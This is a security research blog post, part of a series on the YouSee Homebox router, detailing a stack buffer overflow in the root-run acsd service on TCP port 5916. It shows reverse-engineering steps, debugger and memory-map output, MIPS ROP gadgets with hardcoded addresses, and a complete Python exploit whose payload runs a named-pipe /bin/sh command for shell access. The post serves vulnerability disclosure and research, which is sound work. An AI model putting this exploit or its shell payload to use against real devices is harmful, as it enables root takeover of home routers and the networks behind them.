This is part 3 in our series on the YouSee Homebox. In this post we describe a bug that enables a user on the local network to execute code as root on the Homebox.
After gaining access to the firmware, we started enumerating the attack surface of the device. A nmap scan listed the following tcp ports as being available.
Port 5916 does not yield any information about the servicing application. At this point we had access to a terminal on the running device, so we could run “netstat -tlp” to see which executable was listening on the port.
After copying over the binary, I opened it up to take a closer look in Cutter, which is a GUI for the reverse engineering framework radare2.
The application in question is very simple. It allows a client to initiate a connection, submit a command, and get a reply. As it turns out, it is very poorly written, with most of the commands giving room to buffer overflows via the strcpy() function.
As we can see from the first picture, a buffer is allocated on the Heap with a size of 0x1000 with malloc_7a0. That in itself is fine. Our input will be put into this buffer.
This second picture reveals that the custom strcpy function allocates a stackframe of 0x228 bytes and calls strcpy with a0 being placed at the relative position -0x210 from the top of the stackframe
What this essentially means is that we are writing 0x1000 bytes to a buffer and then that buffer is being copied over with an offset of 0x210 from the return address of that custom strcpy function.
It turns out that this service has been found vulnerable at least four years ago, as it is present on some other routers as well. In this report, the autochannel command is used for exploitation. It is unclear where this service originates, why it would be open to users on the local network, and why it has not been fixed in this deployment. Since the addresses used in this old exploit are no longer valid, but the service is still vulnerable, I decided to write my own.
I will now describe how I went from stack overflow vulnerability to arbitrary code execution.
To validate that the bug is actually exploitable, the first thing I did was write up a small python script that simply crashes the service.
import socket ip = '192.168.1.1' port = 5916 msgsize = 0x1000 msg = "A" * msgsize restlen = len("csscan&") msg = "csscan&" + msg[restlen:] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(msg) data = s.recv(1000) s.close() print "rcvd: ", data
~: python simplecrash.py > Traceback (most recent call last): > File "simplecrash.py", line 13, in
> s.connect((ip, port)) > File "/usr/lib/python2.7/socket.py", line 228, in meth > return getattr(self._sock,name)(*args) > socket.error: [Errno 111] Connection refused
I wanted to check what security measures I needed to work around in my exploit. So I checked if Address Space Layout Randomization (ASLR) was enabled.
Running the service with GDB, I found that ASLR was only enabled for the stack and not for .text or shared libraries.
I also wanted to know if the stack was executable or not. Checking with readelf -l produced the following output:
~: readelf -l acsd > Elf file type is EXEC (Executable file) > Entry point 0x4011d0 > There are 7 program headers, starting at offset 52 > > Program Headers: > Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align > PHDR 0x000034 0x00400034 0x00400034 0x000e0 0x000e0 R E 0x4 > INTERP 0x000114 0x00400114 0x00400114 0x00014 0x00014 R 0x1 > [Requesting program interpreter: /lib/ld-uClibc.so.0] > REGINFO 0x000128 0x00400128 0x00400128 0x00018 0x00018 R 0x4 > LOAD 0x000000 0x00400000 0x00400000 0x0eb24 0x0eb24 R E 0x10000 > LOAD 0x00eb24 0x0041eb24 0x0041eb24 0x002b8 0x0031c RW 0x10000 > DYNAMIC 0x000140 0x00400140 0x00400140 0x00120 0x00120 RWE 0x4 > NULL 0x000000 0x00000000 0x00000000 0x00000 0x00000 0x4
Typically it would say GNU_STACK under DYNAMIC. If the GNU_STACK segment is not available, then usually an executable stack is used.
Luckily, I had my SSH access, so I could check by looking at the mapped memory of the service.
First, I needed the program id (pid) of the service.
[email protected]:~# pidof acsd 2015
Then I could check the maps.
[email protected]:~# cat /proc/2015/maps | grep stack > 7fc67000-7fc7c000 rwxp 00000000 00:00 0 [stack]
I could then see that the stack was executable.
One other thing to keep in mind when writing exploits for the MIPS architecture is cache incoherency. Often when ROPing, one or more of the gadgets end up modifying the payload. This is referred to as self-modifying shellcode. The modified shellcode is stored in the Data Cache and will not be written to the instruction cache from which we fetch our instructions.
This can be overcome by flushing the cache with a call to a blocking function such as "sleep" from libC.
While the process is sleeping, the processor will go through one or more context switches and the cache will be flushed.
So to sum up:
* This stack overflow vulnerability let me write whatever bytes I wanted on the stack.
* The stack was executable, so if I placed my payload on the stack and jumped to it I would win.
* ASLR was enabled for the stack, so jumping to my payload was a little trickier than just hardcoding the return address to point to my payload. This lead me to believe I could use Return Oriented Programming (ROP).
* Because of cache incoherency I would have to call sleep before I jumped to my payload.
Next, I wanted to take a closer look at what happens when the service crashes. After I run
[email protected]:~# ulimit -c unlimited
Whenever I crashed the service a .core file would be created holding data of the crash. I could copy this file to my local machine using netcat and inspect it with gdb.
Instead of sending 0x1000 A's, I created a pattern to make my life easier when inspecting. The pattern goes Aa0Aa1Aa2Aa3Aa4Aa5 and so on. Looking at the crash in gdb yielded something like this
> Program terminated with signal SIGSEGV, Segmentation fault. > #0 0x34417235 in ?? ()
Converting those bytes to ascii, I could see that I overwrote the return address with 4Ar5, which I found in my pattern to be 531 with msg.find("4Ar5").
I also noticed that I overwrote some of the registers, such as s0 and s1.
(gdb) info r zero at v0 v1 a0 a1 a2 a3 R0 00000000 00000000 ffffffff 00000069 7fd4dd22 00000002 00000000 81010100 t0 t1 t2 t3 t4 t5 t6 t7 R8 0040e542 00000066 f0000000 00000001 0000042c 8f329b62 00000001 00409a50 s0 s1 s2 s3 s4 s5 s6 s7 R16 41723241 72334172 7fd4dc5c 00000002 00420728 0042b747 0040bdc8 00000000 t8 t9 k0 k1 gp sp s8 ra R24 0000001c 7fd4dc5c 00000000 00000000 00000000 7fd4dc30 00000009 2ab05ad4 sr lo hi bad cause pc 00008d13 0001e791 000001bb 2ab05ac8 00000034 7fd4dc60 fsr fir 00000000 00000000
As I could not hardcode a stack address as the return address because of ASLR, I needed to find a few "gadgets" to help me jump to my payload. So I looked for registers where I could control what was written in them. s2 is such a register.
(gdb) x/4b $s2 0x7fd4dc5c: 48 65 116 49
Converting those numbers to ascii, I could see that s2 held the value 0At1 which I found in my pattern to be 579 with msg.find("0At1")
So to sum up:
* I could see that the return address was overwritten with bytes 531-534 that I sent.
* Register s2 pointed to some of my bytes on the stack. The offset was 579.
Now all I needed to do was to find a few gadgets that would help me jump to my payload.
The first thing I needed to do was call sleep from libC. Sleep takes an integer as input and sleeps for that many seconds. The MIPS calling convention is that arguments are passed via registers. So register $a0 is the first argument, $a1 is the next, and so on. So I needed a gadget that would set up $a0 and let me execute the sleep function. I can extract the address of sleep from inspecting libC with radare2/cutter.
To find gadgets, I used a tool called Ropper. Looking at the service, I was unable to find any useful gadgets, but then I looked at some of its shared libraries. These could be found by taking another look at the maps of the service.
[email protected]:~# cat /proc/2015/maps 00400000-0040f000 r-xp 00000000 00:0d 604 /usr/bin/acsd 0041e000-0041f000 rw-p 0000e000 00:0d 604 /usr/bin/acsd 0041f000-00435000 rwxp 00000000 00:00 0 [heap] 2aaa8000-2aaad000 r-xp 00000000 00:0d 20 /lib/ld-uClibc-0.9.30.1.so 2aaad000-2aaae000 rw-p 00000000 00:00 0 2aabc000-2aabd000 r--p 00004000 00:0d 20 /lib/ld-uClibc-0.9.30.1.so 2aabd000-2aabe000 rw-p 00005000 00:0d 20 /lib/ld-uClibc-0.9.30.1.so 2aabe000-2aae5000 r-xp 00000000 00:0d 576 /usr/lib/libwlshared.so.0.0.0 2aae5000-2aaf5000 ---p 00000000 00:00 0 2aaf5000-2aaf6000 rw-p 00027000 00:0d 576 /usr/lib/libwlshared.so.0.0.0 2aaf6000-2ab08000 r-xp 00000000 00:0d 50 /lib/libgcc_s.so.1 2ab08000-2ab18000 ---p 00000000 00:00 0 2ab18000-2ab19000 rw-p 00012000 00:0d 50 /lib/libgcc_s.so.1 2ab19000-2ab72000 r-xp 00000000 00:0d 26 /lib/libuClibc-0.9.30.1.so 2ab72000-2ab81000 ---p 00000000 00:00 0 2ab81000-2ab82000 r--p 00058000 00:0d 26 /lib/libuClibc-0.9.30.1.so 2ab82000-2ab83000 rw-p 00059000 00:0d 26 /lib/libuClibc-0.9.30.1.so 2ab83000-2ab88000 rw-p 00000000 00:00 0 7fc67000-7fc7c000 rwxp 00000000 00:00 0 [stack]
I decided to look at uClibc, libwlshared and libgcc. Looking through libuClibc.so I found an interesting gadget.
0x2ab53a34: addiu $a0, $zero, 1; movz $v1, $a0, $v0; lw $ra, 0x1c($sp); move $v0, $v1; jr $ra;
This put the value 1 into $a0 and jumped to 0x1c + $sp which is somewhere on the stack that I control. The second gadget I needed was a gadget that jumped to the sleep function in libC.
0x2ab4a6f8: move $t9, $s0; lw $ra, 0x24($sp); lw $s0, 0x20($sp); addiu $a0, $a0, 0xc; jr $t9;
This one did the trick. I controlled what is in $s0, so I put the sleep address there. When the sleep function ends, a jump to $ra is made. This gadget also lets me control $ra. Now that the cache has been flushed, I needed to jump to the payload and execute it. A third gadget would help me with that.
0x2ab05ac8: move $t9, $s2, jalr $t9
$s2 contains a pointer to the stack, where I only control four bytes. Four bytes is not enough to hold my payload, so I inserted a branch instruction to make a relative jump further down the stack. Inspecting the registers, I saw that $v0 is zero, so I decided to use a branch equal to zero (beqz) instruction that checks register $v0. Such an instruction has the prefix 0x1040???? where the question marks indicate how far the potential jump is (in instructions, not bytes!). The smallest possible jump without introducing any NULL bytes would therefore be 0x10400101. This jump is 0x0101 instructions, which is 0x0101 * 4 = 1028 bytes.
1028 bytes ahead I put my payload which is a call to "system" from libC with a string I put on the stack.
This string could be anything I want. If I want remote code execution I could add:
'mknod /tmp/backpipe p | /bin/sh -c "/bin/sh 0
1>/tmp/backpipe"' + '\x00'
My final script looks like this:
import socket from operator import * import struct ip = '192.168.1.1' port = 5916 msgsize = 0x1000 msg = "A" * msgsize with open('pattern.txt', 'rb') as f: pattern = f.read() pattern = pattern + "\x00" restlen = len("csscan&") + len(pattern) msg = "csscan&" + pattern + msg[restlen:] # addiu $a0, $zero, 1; movz $v1, $a0, $v0; lw $ra, 0x1c($sp); move $v0, $v1; jr $ra; setupA0 = ''.join(chr(x) for x in [ 0x2a, 0xb5, 0x3a, 0x34 ]) # move $t9, $s0; lw $ra, 0x24($sp); lw $s0, 0x20($sp); addiu $a0, $a0, 0xc; jr $t9; jump_to_sleep = ''.join(chr(x) for x in [ 0x2a, 0xb4, 0xa6, 0xf8 ]) # move $t9, $s2, jalr $t9 jump_to_shellcode = ''.join(chr(x) for x in [ 0x2a, 0xb0, 0x5a, 0xc8 ]) sleep = ''.join(chr(x) for x in [ 0x2a, 0xb6, 0x9d, 0x10 ]) system = ''.join(chr(x) for x in [ 0x2a, 0xb6, 0x51, 0xb0 ]) print "1st gadget setting up $A0: " + '0x2ab53a34' print "2nd gadget jumping to sleep: " + '0x2ab4a6f8' print "3rd gadget jumping to shellcode: " + '0x2ab05ac8' print "Start of sleep function: " + '0x2ab69d10' print "End of sleep function: " + '0x2ab69f08' print "Start of system function: " + '0x2ab651b0' execvepayload = ''.join(chr(x) for x in [ 0x27, 0xa4, 0x03, 0xfc, # $a0 points to vuln_command 0x02, 0x20, 0xc8, 0x21, # move $t9, $s1 0x03, 0x20, 0xf8, 0x09, # jalr $t9 0x01, 0xad, 0x68, 0x21 # addu $t5, $t5, $t5 (some command that doesnt matter, so that the program doesnt crash) ]) branchpayload = ''.join(chr(x) for x in [ 0x10, 0x40, 0x01, 0x01, # beqz v0, 0x0101 0x41, 0x41, 0x41, 0x41, # padding 0x41, 0x41, 0x41, 0x41, # padding 0x41, 0x41, 0x41, 0x41, # padding 0x41, 0x41, 0x41, 0x41, # padding 0x34, 0x84, 0x13, 0x37, # ori a0, a0, 0x1337 0x2a, 0xb0, 0x5a, 0xc8, # return address after sleep 0x41, 0x41, 0x41, 0x41 # padding ]) vuln_command = 'mknod /tmp/backpipe p | /bin/sh -c "/bin/sh 0/tmp/backpipe"' + '\x00' msg = msg[:523] + sleep + system + setupA0 + msg[535:563] + jump_to_sleep + jump_to_shellcode + msg[571:579] + branchpayload + msg[607:1607] + execvepayload + vuln_command + msg[1611 + 8:] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) s.send(msg) data = s.recv(1000) s.close()